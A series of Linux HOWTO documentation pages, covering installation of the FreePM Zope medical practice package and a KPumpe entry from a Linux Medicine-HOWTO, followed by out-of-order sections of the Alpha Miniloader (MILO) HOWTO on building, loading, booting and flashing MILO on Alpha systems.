Once you have downloaded the 14 MB package, be sure to also download the extensions_for_1.0b6.tar.gz. At this point, it really doesn't matter what directory you have download the gzipped tar files into, but to play it clean and safe, I would download them or move them into their own directory. Then go ahead and gunzip FreePM-1.0b6-FULL-linux2-x86.tar.gz to unzip the file and then tar xvf FreePM-1.0b6-FULL-linux2-x86.tar.gz

Once the tar file has finished unpacking, you should see a new directory called FreePM-1.0b6-FULL-linux2-x86. To make things easier I would change the name of this directory to 'FreePM' like so mv FreePM-1.0b6-FULL-linux2-x86 FreePM

Move the extensions_for_1.0b6.tar.gz to the newly created FreePM directory and look for the 'Extension' directory and go ahead and move it there and unpack using the tar xvf

7.4.3.2. Installing the Zope server

Tim Cook was smart and kind of enough to write an install script to install the Zope. Once you are in the FreePM directory (remember, the one that you created when you untar-ed the 14MB file), you run the script by tying ./install

Caution

DON'T FORGET TO WRITE YOUR ADMIN and PASSWORD that you will at this point otherwise you will need to re-install the Zope server and determine you new password for admin

7.4.3.3. Running the Zope Server

Tim Cook also wrote two scripts to start the server and stop the server. Be sure you our in the FreePM directory. You will know this if you see the files 'start' and 'stop' in there. It is also the same directory where you ran the ./install. To start the Zope server, type ./start. However you might want to type ./start& to make it a background process which will free up your terminal window. This will also allow you to stop the Zope Server by typing ./stop instead of hitting the CRTL-C key combination, a rather blunt way of stopping the Zope server and not an aestheically pleasing way of stopping the zope process.

7.4.3.4. Installing the FreePM zope products

The key thing before I talk about installing the zope products is that, the first user, Admin, can only add other users and can not by itself actaully magane any products. You first need to add a new user and make the user a manager before you can do anything else.

To log into the running Zope server, you need to open a browser, type in http://127.0.0.1:8080 or depending on how new the Zope server is http://127.0.0.1:9673. If you look at the output during the install it will tell you what to what port to connect.

Caution

Note: Using the old port 8080 would conflict, which is why Zope changed the port connection.

At this point you should the zope introductory page, if not, make sure you have the correct port.

Go ahead and click on the link that says Zope management interface or enter http:127.0.0.1:8080/manage and you should the zope management screen. You know you are in the correct section if you see a root folder at the top of the Left Frame. To make sure we are on the same page, go ahead and click on the Root Folder icon in the right Frame.

You then should see the list of contents of the Root Folder on the Right Frame.

Look for and click on the acl_users folder. select add new user, fill in the required fields. You leave the domain field blank. And then besure sure to select role. In this case, click on manager for this user.

I am having problems sucessfully loggin out completely using zope, so when you intend to switch users, be sure to completely close all broswer windows.

Once you added a new user that has the role of manager, log back in. THat is to say, Close all browers and open up a new browers and go the the zope management screen. You should be asked for a login at this point. Go ahead and enter in you new user login and password.

Once you are logged in as an user (not the admin user), go ahead and click on the Root Folder on the top of the left frame. Scrool to the bottom of the Right Frame and you should see the Import/Export button. You see a new screen. In the Field Import File Name, enter FreePMProduct.zexp and then hit the import button. You should see a new scree nindicating success

The next step, is to again hit on the Root Folder Icon at the TOP LEFT FRAME. Again hit the Import/Export button, but this time, you want to import FreePM.zexp. Then hit the Import button.

Caution

Note that it will take some time to import the FreePM.zexp Zope product as it is quite large and you may get a brower error. I almost lost hair doing this stage because I coulnd tfigure out what was going wrong. In fact nothing was going wrong, it just took some time to import this large (32MB) zope prodcut. If you want to make sure something is acutally going on, I recommend using the top unix command, which will show you that python is actively still working to import FreePM.zexp.

7.4.3.5. Running FreePM

To actually get to the FreePM, you need to open a browser and go to http://127.0.0.1:8080/FreePM

You should see the introductor screen of FreePM. However, so far I can only add patients but can not edit any sensitive information. This section will need a lot of work

Prev | Home | Next
PDA |  | Imaging Applications


Usefull Applications

Linux Medicine-HOWTO
Prev Next

9. Usefull Applications

9.1. KPumpe

By David Weisgerber (http://freshmeat.net/users/david84/)

About: KPumpe is a diabetes diary application with support for reading records from your glucometer. It supports the Onetouch Ultra and other glucometers where glucomodule plugins are available.

I haven't used this one yet, but I plan on installing it at work, and getting my patients to start using their glucose monitoring machines more.

License: GNU General Public License (GPL)

You can find out more about it Here

Prev | Home | Next
Imaging Applications |  | My thoughts


How To Build MILO

Alpha Miniloader Howto
Prev Next

4. How To Build MILO

You build MILO seperately from the Kernel. As MILO requires parts of the kernel to function (for example interrupt handling) you must first configure and build the kernel that matches with MILO that you want to build. Mostly this means building the kernel with the same version number. So, MILO-2.0.25.tar.gz will build against linux-2.0.25.tar.gz. MILO may build against a higher version of the kernel, but there again it may not. Also, now that ELF shared libraries are fully supported, there are two versions of the MILO sources. To build under an ELF system you must first unpack the standard MILO sources and then patch those sources with the same version numbered ELF patch. In the remainder of this discussion, I assume that your kernel sources and object files are stored in the subtree at /usr/src/linux and that the linux kernel has been fully built with the command make boot

To build MILO, change your working directory to the MILO source directory and invoke make with:
$    make KSRC=/usr/src/linux config

Just like the Linux kernel, you will be asked a series of questions

     Echo output to the serial port (MINI_SERIAL_ECHO) [y]

It's a good idea to echo kernel printk to /dev/ttyS0 if you can. If you can (and want to), then type "y", otherwise "n". All of the standard, pre-built, MILO images include serial port I/O using COM1.

     Use Digital's BIOS emulation code (not free) (MINI_DIGITAL_BIOS_EMU) [y]

This code is included as a library which is freely distributable so long as it is used on an Alpha based system. The sources are not available. If you answer n then the freeware alternative BIOS emulation will be built. It's sources are included with MILO. Note that you cannot right now build choose Digital's BIOS emulation code in an ELF system (the library is not yet ready) and so you must answer no to this question.

     Build PALcode from sources (Warning this is dangerous) (MINI_BUILD_PALCODE_FROM_SOURCES) [n]

You should only do this if you have changed the PALcode sources, otherwise use the standard, pre-built PALcode included with MILO.

You are now all set to build the MILO image itself:
$    make KSRC=/usr/src/linux

When the build has successfully completed, the MILO image is in the file called milo. There are a lot of images called milo.*, these should be ignored.

Prev | Home | Next
Pre-Built Standard MILO Images. |  | How To Load MILO


Alpha Miniloader Howto

Rich Payne

v0.90, 12 November 2000

This document describes the Miniloader, a program for Alpha based systems that can be used to initialize the machine and load Linux. The Alpha Linux Miniloader (to give it it's full name) is also known as MILO.

Table of Contents
1. Introduction
1.1. Copyright
1.2. New Versions of this Document
2. What is MILO?
3. Pre-Built Standard MILO Images.
4. How To Build MILO
5. How To Load MILO
5.1. Loading MILO from the Windows NT ARC firmware
5.2. Loading MILO from the Evaluation Board Debug Monitor
5.3. Loading MILO from a Failsafe Boot Block Floppy
5.4. Loading MILO from Flash
5.5. Loading MILO from the SRM Console
5.6. System Specific Information
6. MILO's User Interface
6.1. The ''help'' Command
6.2. Booting Linux
6.3. Rebooting Linux
6.4. The ''bootopt'' command
7. Running the Flash Management Utility
7.1. The ''help'' command
7.2. The ''list'' command
7.3. The ''program'' command
7.4. The ''environment'' command
7.5. The ''bootopt'' command
7.6. The ''quit'' command
8. Restrictions.
9. Problem Solving.
10. Acknowledgements.
11. Changelog
Next
Introduction


Introduction

Alpha Miniloader Howto
Prev Next

1. Introduction

This document describes the Miniloader for Linux on Alpha AXP (MILO). This firmware is used to initialize Alpha AXP based systems, load and start Linux and, finally, provide PALcode for Linux. Please note that the prefered way of booting Linux is via SRM console and MILO should only be used if either there is no SRM console for your hardware (XL series) or your current hardware isn't supported by SRM.

1.1. Copyright

The Alpha Miniloader (MILO) HOWTO is copyright (C) 1995, 1996 David A Rusling, 2000 Richard D. Payne.

Copyright. Like all Linux HOWTO documents, it may be reproduced and distributed in whole or in part, in any medium, physical or electronic, so long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however the author would like to be notified of such distributions. You may translate this HOWTO into any language whatsover provided that you leave this copyright statement and disclaimer intact, and that you append a notice stating who translated the document.

Disclaimer. While I have tried to include the most correct and up to date information available to me, I cannot guarantee that usage of information in this document does not result in loss of data or equipment. I provide NO WARRENTY about the information in the HOWTO and I cannot be made liable for any consequences resulting from using the information in this HOWTO.

1.2. New Versions of this Document

The latest version of this document can be found in www.alphalinux.org.

Prev | Home | Next
Alpha Miniloader Howto |  | What is MILO?


How To Load MILO

Alpha Miniloader Howto
Prev Next

5. How To Load MILO

The most commonly supported method of loading MILO is from the Windows NT ARC firmware as most shipping systems support this. However, there are a wide variety of loading MILO. It may be loaded from:

  • a failsafe boot block floppy,

  • the Windows NT ARC firmware,

  • Digital's SRM console,

  • an Alpha Evaluation Board Debug Monitor,

  • flash/ROM.

5.1. Loading MILO from the Windows NT ARC firmware

Most, if not all, Alpha AXP based systems include the Windows NT ARC firmware and this is the prefered method of booting MILO and thus Linux. Once the Windows NT firmware is running and you have the correct MILO image for your system, this method is completely generic.

The Windows NT ARC firmware is an environment in which programs can run and make callbacks into the firmware to perform actions. The Windows NT OSLoader is a program that does exactly this. Linload.exe is a much simpler program which does just enough to load and execute MILO. It loads the appropriate image file into memory at 0x00000000 and then makes a swap-PAL PALcall to it. MILO, like Linux, uses a different PALcode to Windows NT which is why the swap has to happen. MILO relocates itself to 0x200000 and continues on through the PALcode reset entry point as before.

Before you add a Linux boot option, you will need to copy linload.exe and the appropriate MILO that you wish to load to someplace that the Windows NT ARC firmware can read from. In the following example, I assume that you are booting from a DOS format floppy disk:

  1. At the boot menu, select "Supplementary menu..."

  2. At the "Supplementary menu", select "Set up the system..."

  3. At the "Setup menu", select "Manage boot selection menu..."

  4. In the "Boot selections menu", choose "Add a boot selection"

  5. Choose "Floppy Disk 0"

  6. Enter "linload.exe" as the osloader directory and name

  7. Say "yes" to the operating system being on the same partition as the osloader

  8. Enter "\" as the operating system root directory

  9. I usually enter "Linux" as the name for this boot selection

  10. Say "No" you do not want to initialise the debugger at boot time

  11. You should now be back in the "Boot selections menu", choose the "Change a boot selection option" and pick the selection you just created as the one to edit

  12. Use the down arrow to get "OSLOADFILENAME" up and then type in the name of the MILO image that you wish to use, for example "noname.arc" followed by return.

  13. Press ESC to get back to the "Boot Selections menu"

  14. Choose "Setup Menu" (or hit ESC again) and choose "Supplementary menu, and save changes" option

  15. ESC will get you back to the "Boot menu" and you can attempt to boot MILO. If you do not want Linux as the first boot option, then you can alter the order of the boot options in the "Boot selections menu".

At the end of all this, you should have a boot selection that looks something like:

LOADIDENTIFIER=Linux
SYSTEMPARTITION=multi(0)disk(0)fdisk(0)
OSLOADER=multi(0)disk(0)fdisk(0)\linload.exe
OSLOADPARTITION=multi(0)disk(0)fdisk(0)
OSLOADFILENAME=\noname.arc
OSLOADOPTIONS=

You can now boot MILO (and then Linux). You can load linload.exe and MILO directly from a file system that Windows NT understands such as NTFS or DOS on a hard disk.

The contents OSLOADOPTIONS are passed to MILO which interprets it as a command. So, in order to boot Linux directly from Windows NT without pausing in MILO, you could pass the following in OSLOADOPTIONS:

boot sda2:vmlinux.gz root=/dev/sda2

See Section 6 for more information on the commands available.

Another (rather sneaky) way of loading of loading MILO via the WNT ARC firmware is to put MILO onto an MS-DOS floppy and call it fwupdate.exe and then choose the "Upgrade Firmware" option.

5.2. Loading MILO from the Evaluation Board Debug Monitor

Evaluation boards (and often designs cloned from them) include support for the Alpha Evaluation Board Debug Monitor. Consult your system document before considering this method of booting MILO. The following systems are known to include Debug Monitor support:

  • AlphaPC64 (Section Section 5.6.2)

  • EB64+ (Section Section 5.6.4)

  • EB66+ (Section Section 5.6.3)

  • EB164 (Section Section 5.6.6)

  • PC164 (Section Section 5.6.7)

Before you consider this method, you should note that the early versions of the Evaluation Board Debug Monitor did not include video or keyboard drivers and so you must be prepared to connect another system via the serial port so that you can use the Debug Monitor. Its interface is very simple and typing help shows a whole heap of commands. The ones that are most interesting include the word boot or load in them.

The Evaluation Board Debug Monitor can load an image either via the network (netboot) or via a floppy (flboot). In either case, set the boot address to 0x200000 (> bootadr 200000) before booting the image.

If the image is on floppy (and note that only DOS formatted floppies are supported), then you will need to type the following command:

     AlphaPC64> flboot <MILO-image-name>

5.3. Loading MILO from a Failsafe Boot Block Floppy

Only the AxpPCI33 is known to include failsafe boot block floppy support (Section < id="noname-section" name="Noname">).

If you do not have a standard pre-built MILO .dd image, then you may need to build an SRM boot block floppy. Once you have built MILO, you need to do the following on Digital Unix box:

     fddisk -fmt /dev/rfd0a
     cat mboot bootm > /dev/rfd0a
     disklabel -rw rfd0a 'rx23' mboot bootm

Or on a Linux box:

     cat mboot bootm > /dev/fd0

If you have a standard MILO image available (say MILO.dd) then you would build a boot block floppy using the following command:

     dd if=MILO.dd of=/dev/fd0

5.4. Loading MILO from Flash

There are a number of systems where MILO can be blown into flash and booted directly (instead of via the Windows NT ARC firmware):

  • AlphaPC64 (Section Section 5.6.2)

  • Noname (Section Section 5.6.1)

  • EB66+ (Section Section 5.6.3)

  • EB164 (Section Section 5.6.6)

  • PC164 (Section Section 5.6.7)

5.5. Loading MILO from the SRM Console

The SRM (short for System Reference Manual) Console knows nothing about filesystems or disk-partitions, it simply expects that the secondary bootstrap loader occupies a consecutive range of physical disk sectors starting from a given offset. The information describing the secondary bootstrap loader (its size and offset) is given in the first 512 byte block. To load MILO via the SRM you must generate that structure on a device which the SRM can access (such as a floppy disk). This is what mboot and bootm, mboot is the first block (or boot description) and mboot is the MILO image rounded up to a 512 byte boundary.

To load MILO from a boot block device, either build mboot and bootm and push them onto the boot device using the following command:

    $ cat mboot bootm > /dev/fd0

Or, grab the appropriate MILO.dd from a web site and write it onto the boot device using either RAWRITE.EXE or dd.

Once you have done that you can boot the SRM console and use one of its many commands to boot MILO. For example, to boot MILO from a boot block floppy you would use the following command:

    >>>boot dva0
    (boot dva0.0.0.0.1 -flags 0)
    block 0 of dva0.0.0.0.1 is a valid boot block
    reading 621 blocks from dva0.0.0.0.1
    bootstrap code read in
    base = 112000, image_start = 0, image_bytes = 4da00
    initializing HWRPB at 2000
    initializing page table at 104000
    initializing machine state
    setting affinity to the primary CPU
    jumping to bootstrap code
    MILO Stub: V1.1
    Unzipping MILO into position
    Allocating memory for unzip
    ####...

The following systems are known to have SRM Console support:

  • Noname (Section Section 5.6.1)

  • AlphaPC64 (Section Section 5.6.2)

  • EB164 (Section Section 5.6.6)

  • PC164 (Section Section 5.6.7)

5.6. System Specific Information

5.6.1. AxpPCI33 (Noname)

The Noname board can load MILO from the Windows NT ARC firmware (Section Section 5.1), from the SRM Console (Section Section 5.5). and from a failsafe boot block floppy (Section Section 5.3). A flash management utility, runnable from MILO is available so that once MILO is running, it can be blown into flash (Section Section 7). However, be warned that once you have done this you will lose the previous image held there as there is only room for one image.

The way that Noname boots is controlled by a set of jumpers on the board, J29 and J28. These look like:
                4
        J29	2 x x x 6
            1 x x x 5

        J28	2 x x x 6
            1 x x x 5
                3

The two options that we're interested in are J28, pins 1-3 which boots the console/loader from flash and J29, pins 1-3 which boots the console/loader from a boot block floppy. The second option is the one that you need to first boot MILO on the Noname board.

Once you've selected the boot from floppy option via the jumpers, put the SRM boot block floppy containing MILO into the floppy and reboot. In a few seconds (after the floppy light goes out) you should see the screen blank to white and MILO telling you what's going on.

If you are really interested in technical stuff, the Noname loads images off of the floppy into physical address 0x104000 and images from flash into 0x100000. For this reason, MILO is built with it's PALcode starting at 0x200000. When it is first loaded, it moves itself to the correct location (see relocate.S).

5.6.2. AlphaPC64 (Cabriolet)

The AlphaPC64 includes the Windows NT ARC firmware (Section Section 5.1), the SRM Console (Section Section 5.5) and the Evaluation Debug Monitor (Section Section 5.2). These images are in flash and there is room to add MILO so that you can boot MILO directly from flash. A flash management utility, runnable from MILO is available so that once MILO is running, it can be blown into flash (Section Section 7). This system supports MILO environment variables.

You select between the boot options (and MILO when it is been put into flash) using a combination of jumpers and a boot option which is saved in the NVRAM of the TOY clock.

The jumper is J2, SP bits 6 and 7 have the following meanings:

  • SP bit 6 should always be out. If this jumper is set then the SROM mini-debugger gets booted,

  • SP bit 7 in is boot image selected by the boot option byte in the TOY clock,

  • SP bit 7 out is boot first image in flash.

So, with bit 7 out, the Debug Monitor will be booted as it is always the first image in flash. With bit 7 in, the image selected by the boot option in the TOY clock will be selected. The Debug Monitor, the Windows NT ARC firmware and MILO all support setting this boot option byte but you must be very careful using it. In particular, you cannot set the boot option so that next time the system boots MILO when you are running the Windows NT ARC firmware, it only allows you to set Debug Monitor or Windows NT ARC as boot options.

To get MILO into flash via the Evaluation Board Debug Monitor, you will need a flashable image. The build proceedures make MILO.rom, but you can also make a rom image using the makerom tool in the Debug Monitor software that comes with the board:

> makerom -v -i7 -l200000 MILO -o mini.flash

(type makerom to find out what the arguments mean, but 7 is a flash image id used by the srom and -l200000 gives the load address for the image as 0x200000).

Load that image into memory (via the Debug Monitor commands flload, netload, and so on) at 0x200000 and then blow the image into flash:

     AlphaPC64> flash 200000 8

(200000 is where the image to be blown is in memory and 8 is the segment number where you put the image. There are 16 1024*64 byte segments in the flash and the Debug Monitor is at seg 0 and the Windows NT ARC firmware is at seg 4).

Set up the image that the srom will boot by writing the number of the image into the TOY clock.

     AlphaPC64> bootopt 131

(131 means boot the 3rd image, 129 = 1st, 130 = 2nd and so on).

Power off, put jumper 7 on and power on and you should see the MILO burst into life. If you don't then take jumper 7 back off and reboot the Debug Monitor.

5.6.3. EB66+

The EB66+, like all of the Alpha Evaluation Boards built by Digital contains the Evaluation Board Debug Monitor and so this is available to load MILO (Section Section 5.2). Quite often (although not always) boards whose design is derived from these include the Debug Monitor also. Usually, these boards include the Windows NT ARC firmware (Section Section 5.1). A flash management utility, runnable from MILO is available so that once MILO is running, it can be blown into flash (Section Section 7). This system supports MILO environment variables.

These systems have several boot images in flash controlled by jumpers. The two jumper banks are J18 and J16 and are located at the bottom of the board in the middle (if the Alpha chip is at the top). You select between the boot options (and MILO when it is been put into flash) using a combination of jumpers and a boot option which is saved in the NVRAM of the TOY clock.

Jumper 7-8 of J18 in means boot the image described by the boot option. Jumper 7-8 of J18 out means boot the Evaluation Board Debug Monitor.

Blowing an image into flash via the Evaluation Board Debug Monitor is exactly the same proceedure as for the AlphaPC64 (Section Section 5.6.2).

5.6.4. EB64+/Aspen Alpine

This system is quite like the AlphaPC64 except that it does not contain flash which MILO can be loaded from. The EB64+ has two ROMs, one of which contains the Windows NT ARC firmware (Section Section 5.1). and the other contains the Evaluation Board Debug Monitor (Section Section 5.2).

The Aspen Alpine is a little different in that it only has one ROM; this contains the Windows NT ARC firmware.

5.6.5. Universal Desktop Box (Multia)

This is a very compact pre-packaged 21066 based system that includes a TGA (21030) graphics device. Although you can just fit a half height PCI graphics card in the box you are better off waiting for full TGA support in XFree86. It includes the Windows NT ARC firmware and so booting from that is the prefered method (Section Section 5.1).

5.6.6. EB164

The EB164, like all of the Alpha Evaluation Boards built by Digital contains the Evaluation Board Debug Monitor and so this is available to load MILO (Section Section 5.2). Quite often (although not always) boards whose design is derived from these include the Debug Monitor also. Usually, these boards include the Windows NT ARC firmware (Section Section 5.1). The SRM console is also available (Section Section 5.5). A flash management utility, runnable from MILO is available so that once MILO is running, it can be blown into flash (Section Section 7). This system supports MILO environment variables.

These systems have several boot images in flash controlled by jumpers. The two jumper bank is J1 and is located at the bottom of the board on the left (if the Alpha chip is at the top). You select between the boot options (and MILO when it is been put into flash) using a combination of jumpers and a boot option which is saved in the NVRAM of the TOY clock.

Jumper SP-11 of J1 in means boot the image described by the boot option. Jumper SP-11 of J1 out means boot the Evaluation Board Debug Monitor.

Blowing an image into flash via the Evaluation Board Debug Monitor is exactly the same proceedure as for the AlphaPC64 (Section Section 5.6.2).

5.6.7. PC164

The PC164, like all of the Alpha Evaluation Boards built by Digital contains the Evaluation Board Debug Monitor and so this is available to load MILO (Section Section 5.2). Quite often (although not always) boards whose design is derived from these include the Debug Monitor also. Usually, these boards include the Windows NT ARC firmware (Section Section 5.1). The SRM console is also available (Section Section 5.5). A flash management utility, runnable from MILO is available so that once MILO is running, it can be blown into flash (Section Section 7). This system supports MILO environment variables.

These systems have several boot images in flash controlled by jumpers. The main jumper block, J30, contains the system configuration jumpers and jumper CF6 in means that the system will boot the Debug Monitor, the default is out.

Blowing an image into flash via the Evaluation Board Debug Monitor is exactly the same proceedure as for the AlphaPC64 (Section Section 5.6.2).

5.6.8. XL266

The XL266 is one of a family of systems that are known as Avanti. It has a riser card containing the Alpha chip and cache which plugs into the main board at right angles. This board can replace the equivalent Pentium board.

Some of these systems ship with the SRM console but others, notably the XL266 ship with only the Windows NT ARC firmware (Section Section 5.1).

Here is my list of compatible systems:

  • AlphaStation 400 (Avanti),

  • AlphaStation 250,

  • AlphaStation 200 (Mustang),

  • XL. There are two flavours, XL266 and XL233 with the only difference being in processor speed and cache size.

Note The system that I use to develop and test MILO is an XL266 and so this is the only one that I can guarentee will work. However, technically, all of the above systems are equivalent; they have the same support chipsets and the same interrupt handling mechanisms.

5.6.9. Platform2000

This is a 233Mhz 21066 based system.

Prev | Home | Next
How To Build MILO |  | MILO's User Interface


Running the Flash Management Utility

Alpha Miniloader Howto
Prev Next

7. Running the Flash Management Utility

The run command is used to run the flash management utility. Before you start you will need a device available to MILO that contains the updateflash program. This (like vmlinux) can be gzip'd. You need to run the flash management utility program from the MILO using the (run) command:

     MILO> run fd0:fmu.gz

Once it has loaded and initialised, the flash management utility will tell you some information about the flash device and give you a command prompt. Again the help command is most useful.

Linux MILO Flash Management Utility V1.0

Flash device is an Intel 28f008SA
  16 segments, each of 0x10000 (65536) bytes
Scanning Flash blocks for usage
Block 12 contains the environment variables
FMU>

Note that on systems where environment variables may be stored and where there is more than one flash block (for example, the AlphaPC64) the flash management utility will look for a block to hold MILO's environment variables. If such a block already exists, the flash management utility will tell you where it is. Otherwise, you must use the environment command to set a block and initialise it. In the above example, flash block 12 contains MILO's environment variables.

7.1. The ''help'' command

FMU> help
FMU command summary:

list                - List the contents of flash
program             - program an image into flash
quit                - Quit
environment	    - Set which block should contain the environment variables
bootopt num         - Select firmware type to use on next power up
help                - Print this help text
FMU>

Note that the environment and bootopt commands are only available on the EB66+, the AlphaPC64, EB164 and PC164 systems (and their clones).

7.2. The ''list'' command

The ''list'' command shows the current usage of the flash memory. Where there is more than one flash block, the usage of each flash block is shown. In the example below you can see that Windows NT ARC is using blocks 4:7 and block 15.

FMU> list
Flash blocks:  0:DBM  1:DBM  2:DBM  3:WNT  4:WNT  5:WNT  6:WNT  7:WNT  8:MILO
    9:MILO 10:MILO 11:MILO 12:MILO 13:U 14:U 15:WNT
Listing flash Images
  Flash image starting at block 0:
    Firmware Id:  0 (Alpha Evaluation Board Debug Monitor)
    Image size is 191248 bytes (3 blocks)
    Executing at 0x300000
  Flash image starting at block 3:
    Firmware Id:  1 (Windows NT ARC)
    Image size is 277664 bytes (5 blocks)
    Executing at 0x300000
  Flash image starting at block 8:
    Firmware Id:  7 (MILO/Linux)
    Image size is 217896 bytes (4 blocks)
    Executing at 0x200000
FMU>

7.3. The ''program'' command

The flash management utility contains a compressed copy of a flash image of MILO. The ''program'' command allows you to blow this image into flash. The command allows you to back out, but before you run it you should use the ''list'' command to see where to put MILO. If MILO is already in flash, then the flash management utility will offer to overwrite it.

FMU> program
Image is:
    Firmware Id:  7 (MILO/Linux)
    Image size is 217896 bytes (4 blocks)
    Executing at 0x200000
Found existing image at block 8
Overwrite existing image? (N/y)? y
Do you really want to do this (y/N)? y
Deleting blocks ready to program: 8 9 10 11
Programming image into flash
Scanning Flash blocks for usage
FMU>

Wait until it has completed before powering off your system.

Note: I cannot emphasise just how careful you must be here not to overwrite an existing flash image that you might need or render your system useless. A very good rule is never to overwrite the Debug Monitor.

7.4. The ''environment'' command

This selects a flash block to contain MILO's environment variables.

7.5. The ''bootopt'' command

This is just the same as MILO's ''bootopt'' command, see (Section Section 6.4).

7.6. The ''quit'' command

This is really pretty meaningless. The only way back to MILO (or anything else) once the flash management utility has run is to reboot the system.

Prev | Home | Next
MILO's User Interface |  | Restrictions.


MILO's User Interface

Alpha Miniloader Howto
Prev Next

6. MILO's User Interface

Once you have correctly installed/loaded/run MILO you will see the MILO (for MIniLOader) prompt displayed on your screen. There is a very simple interface that you must use in order to boot a particular Linux kernel image. Typing "help" is a good idea as it gives a useful summary of the commands.

6.1. The ''help'' Command

Probably the most useful command that MILO has:

MILO> help
MILO command summary:

ls [-t fs] [dev:[dir]]
                    - List files in directory on device
boot [-t fs] [dev:file] [boot string]
                    - Boot Linux from the specified device and file
run [-t fs] dev:file
                    - Run the standalone program dev:file
show                - Display all known devices and file systems
set VAR VALUE       - Set the variable VAR to the specified VALUE
unset VAR           - Delete the specified variable
reset               - Delete all variables
print               - Display current variable settings
help [var]          - Print this help text

Devices are specified as: fd0, hda1, hda2, sda1...
Use the '-t filesystem-name' option if you want to use
  anything but the default filesystem  ('ext2').
Use the 'show' command to show known devices and filesystems.
Type 'help var' for a list of variables.

Note that the bootopt command only appears on AlphaPC64 (and similar) systems. Refer to the board's dcoumentation to find out just what it means.

Devices. Until you use a command that needs to make use of a device, no device inititalisation will take place. The first show, ls, boot or run commands all cause the devices within MILO to be initialised. Devices are named in the same way (exactly) that Linux itself will name them. So, the first IDE disk will be called 'hda' and it's first partition will be 'hda1'. Use the show command to show what devices are available.

File Systems. MILO supports three file systems, MSDOS, EXT2 and ISO9660. So long as a device is available to it, MILO can listboot or run an image stored on one of these file systems. MILO's default file system is EXT2 and so you have tell MILO that the file system is something other than that. All of the commands that use filenames allow you to pass the file system using the -t [filesystem]option. So, if you wanted to list the contents of a SCSI CD ROM, you might type the following:

     MILO> ls -t iso9660 scd0:

Variables. MILO contains some settable variables that help the boot process. If you are loading via the Windows NT ARC firmware, then MILO makes use of the boot option environment variables set up by that firmware. For some systems, MILO (for example, the AlphaPC64) maintains its own set of environment variables that do not change from boot to boot. These variables are:

MILO> help var
Variables that MILO cares about:
  MEMORY_SIZE      - System memory size in megabytes
  BOOT_DEV         - Specifies the default boot device
  BOOT_FILE        - Specifies the default boot file
  BOOT_STRING      - Specifies the boot string to pass to the kernel
  SCSIn_HOSTID     - Specifies the host id of the n-th SCSI controller.
  AUTOBOOT         - If set, MILO attempts to boot on powerup
                     and enters command loop only on failure.
  AUTOBOOT_TIMEOUT - Seconds to wait before auto-booting on powerup.

6.2. Booting Linux

The boot command boots a linux kernel from a device. You will need to have a linux kernel image on an EXT2 formated disk (SCSI, IDE or floppy) or an ISO9660 formatted CD available to MILO. The image can be gzip'd and in this case MILO will recognise that it is gzip'd by the .gz suffix.

You should note that the version of MILO does not usually have to match the version of the Linux kernel that you are loading. You boot Linux using the following command syntax:

     MILO> boot [-t file-system] device-name:file-name [[boot-option] [boot-option] ...]

Where device-name is the name of the device that you wish to use and file-name is the name of the file containing the Linux kernel. All arguments supplied after the file name are passed directly to the Linux kernel.

If you are installing Red Hat, then you will need to specify a root device and so on. So you would use:

     MILO> boot fd0:vmlinux.gz root=/dev/fd0 load_ramdisk=1

MILO will automatically contain the block devices that you configure into your vmlinux. I have tested the floppy driver, the IDE driver and a number of SCSI drivers (for example, the NCR 810), and these work fine. Also, it is important to set the host id of the SCSI controller to a reasonable value. By default, MILO will initialize it to the highest possible value (7) which should normally work just fine. However, if you wish, you can explicitly set the host id of the n-th SCSI controller in the system by setting environment variable SCSI n_HOSTID to the appropriate value. For example, to set the hostid of the first SCSI controller to 7, you can issue the following command at the MILO prompt:

     setenv SCSI0_HOSTID 7

6.3. Rebooting Linux

You may want to reboot a running Linux system using the shutdown -r now command. In this case, the Linux kernel returns control to MILO (via the HALT CallPAL entrypoint). MILO leaves a compressed copy of itself in memory for just this reason and detects that the system is being rebooted from information held in the HWRPB (Hardware Restart Parameter Block). In this case it starts to reboot using exactly the same command that was used to boot the Linux kernel the last time. There is a 30 second timeout that allows you to interrupt this process and boot whatever kernel you wish in whatever way you wish.

6.4. The ''bootopt'' command

For flash based systems such as the AlphaPC64, EB164 and the EB66+, there are a number of possible boot options and these are changed using the bootopt command. This has one argument, a decimal number which is the type of the image to be booted the next time the system is power cycled or reset:

0 Boot the Evaluation Board Debug Monitor,

1 Boot the Windows NT ARC firmware.

In order to tell the boot code to boot the MILO firmware from flash then you need a boot option that means boot the N'th image. For this, you need to 128 plus N, so if MILO is the third image, you would use the command:

     MILO> bootopt 131

Note: Be very careful with this command. A good rule is never to set bootopt to 0 (the Evaluation Board Debug Monitor), but instead use the system's jumpers to achieve the same thing.

Prev | Home | Next
How To Load MILO |  | Running the Flash Management Utility


What is MILO?

Alpha Miniloader Howto
Prev Next

2. What is MILO?

On Intel based PC systems, the BIOS firmware sets up the system and then loads the image to be run from the boot block of a DOS file system. This is more or less what MILO does on an Alpha based system, however there are several interesting differences between BIOS firmware and MILO, not least of which is that MILO includes and uses standard Linux device drivers unmodified. MILO is firmware, unlike LILO, which relies on the BIOS firmware to get itself loaded. The main functional parts of MILO are:

  1. PALcode,

  2. Memory set up code (builds page tables and turns on virtual addressing),

  3. Video code (BIOS emulation code and TGA (21030)),

  4. Linux kernel code. This includes real Linux kernel code (for example, the interrupt handling) and ersatz or mock Linux kernel,

  5. Linux block device drivers (for example, the floppy driver),

  6. File system support (ext2, MS-DOS and ISO9660),

  7. User inteface code (MILO),

  8. Kernel interface code (sets up the HWRPB and memory map for linux),

  9. NVRAM code for managing environment variables.

The following paragraphs describe these functional parts in more detail.

PALcode can be thought of as a tiny software layer that tailors the chip to a particular operating system. It runs in a special mode (PALmode) which has certain restrictions but it uses the standard Alpha instruction set with just five extra instructions. In this way, the Alpha chip can run such diverse operating systems as Windows NT, OpenVMS, Digital Unix and, of course, Linux. The PALcode that MILO uses (and therefore Linux itself) is, like the rest of MILO, freeware. It is derived from Digital's Evaluation Board software example Digital Unix PALcode.. The differences between the different PALcodes are because of differences in address mapping and interrupt handling that exist between the Alpha chips (21066 based systems have a different I/O map to 21064+2107x systems) and different Alpha based systems.

For MILO to operate properly it needs to know what memory is available, where Linux will eventually be running from and it must be able to allocate temporary memory for the Linux device drivers. The code maintains a memory map that has entries for permanent and temporary allocated pages. As it boots, MILO uncompresses itself into the correct place in physical memory. When it passes control to the Linux kernel, it reserves memory for the compressed version of itself, the PALcode (which the kernel needs) and some data structures. This leaves most of the memory in the system for Linux itself.

The final act of the memory code is to set up and turn on virtual addressing so that the data structures that Linux expects to see are at the correct place in virtual memory.

